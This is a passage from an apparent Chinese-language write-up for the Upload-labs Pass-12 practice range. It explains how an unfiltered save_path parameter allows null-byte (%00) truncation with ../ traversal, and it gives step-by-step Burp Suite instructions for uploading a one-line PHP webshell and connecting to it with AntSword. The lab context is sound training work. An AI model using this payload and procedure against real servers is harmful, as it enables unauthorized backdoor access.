strrpos找到文件名中最后一个.的位置,然后用substr截取该位置之后的所有字符作为后缀名$file_ext。 - 验证 :通过
in_array检查获取到的后缀是否在白名单中。
文件路径拼接
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
- 逻辑 :保存路径
$img_path由三部分组成:- 用户可控的目录 :
$_GET['save_path'],这是直接从 URL 参数中获取的。 - 随机生成的文件名 :
rand(10, 99).date("YmdHis"),由随机数和当前时间组成。 - 用户原文件的后缀 :
.$file_ext,即刚才验证过的jpg、png或gif。
- 用户可控的目录 :
漏洞点解析
关键漏洞
代码虽然严格限制了后缀名必须是图片格式,但 $_GET['save_path'] 参数完全未过滤。
- 攻击思路 :攻击者可以利用
../(目录穿越)来修改文件的保存位置。 - 配合 00 截断 :在老版本的 PHP(< 5.3.4)中,如果
magic_quotes_gpc关闭,可以使用%00(URL 编码的空字符)来截断字符串。
攻击流程
-
构造 GET 参数:
- 设置
save_path为:../upload/1.php%00 - 注意:这里的
%00是空字符的 URL 编码。
- 设置
-
代码拼接后的路径:
- 在代码第 8 行拼接时,路径变成了:
../upload/1.php%00/随机数时间.jpg - 当 PHP 底层函数处理这个字符串时,遇到
%00会认为字符串结束了。 - 最终效果 :系统认为路径是
../upload/1.php,后面的/随机数时间.jpg被忽略。
- 在代码第 8 行拼接时,路径变成了:
-
结果:
- 虽然
$file_ext是jpg,但因为路径被截断,文件最终被保存为1.php,成功绕过白名单限制。
- 虽然
总结
Pass-12 的防御逻辑在于 白名单检查后缀 和 重命名文件 ,但败在了 路径拼接时的不可信输入($_GET['save_path']) 以及 对特殊字符(%00)的处理不当。
具体操作步骤
核心思路
利用 $_GET['save_path'] 参数,配合 URL 编码的 %00 (即 ASCII 码 0),欺骗 PHP 认为文件名在这里就结束了,从而忽略后面拼接的 .jpg 后缀。
操作步骤
-
准备文件
准备一个一句话木马文件,命名为
shell.php。 -
抓包修改
使用 Burp Suite 抓包,在 POST 请求的数据中找到
save_path参数。 -
构造 Payload
将
save_path的值修改为:
../../upload/shell.php%00../../upload/:这是文件要保存的目标目录(根据你的靶场环境可能需要调整路径)。shell.php:你想保存的文件名。%00:这是关键,它会让 PHP 截断后面的字符串。
-
发送数据包
放行数据包(Forward)。
-
验证
访问你刚才设置的上传路径(例如
http://xxx/upload/shell.php),如果显示连接成功,即表示通关。


总结做题思路
后面的步骤大同小异,核心流程都是:
- 看代码/试错:判断是黑名单还是白名单,有没有过滤特殊字符。
- 找漏洞:利用 Windows 特性(空格、点、流)、解析漏洞(.phtml)、或者竞争条件。
- 上传 Webshell:拿到一个能用的后门文件地址。
- 蚁剑连接 :
- 抓包:BP(Burp Suite)主要用于修改数据包(比如改 Content-Type、改文件名、或者在文件名里插入特殊字符),或者用于"双写绕过"。
- 连接:一旦上传成功,蚁剑就是用来管理和执行命令的工具。
结语
其实跟着做了这么多,都能总结出个大概解题步骤了吧,只是看代码可能还会有点问题
希望这篇文章对你有帮助,有什么问题也欢迎大家来评论区讨论!
前文:Upload-labs:部署靶场及Pass-01实战解析-CSDN博客
后续将继续更新pass-13~21的解题步骤及原理讲解,可以点赞收藏关注一下咯~







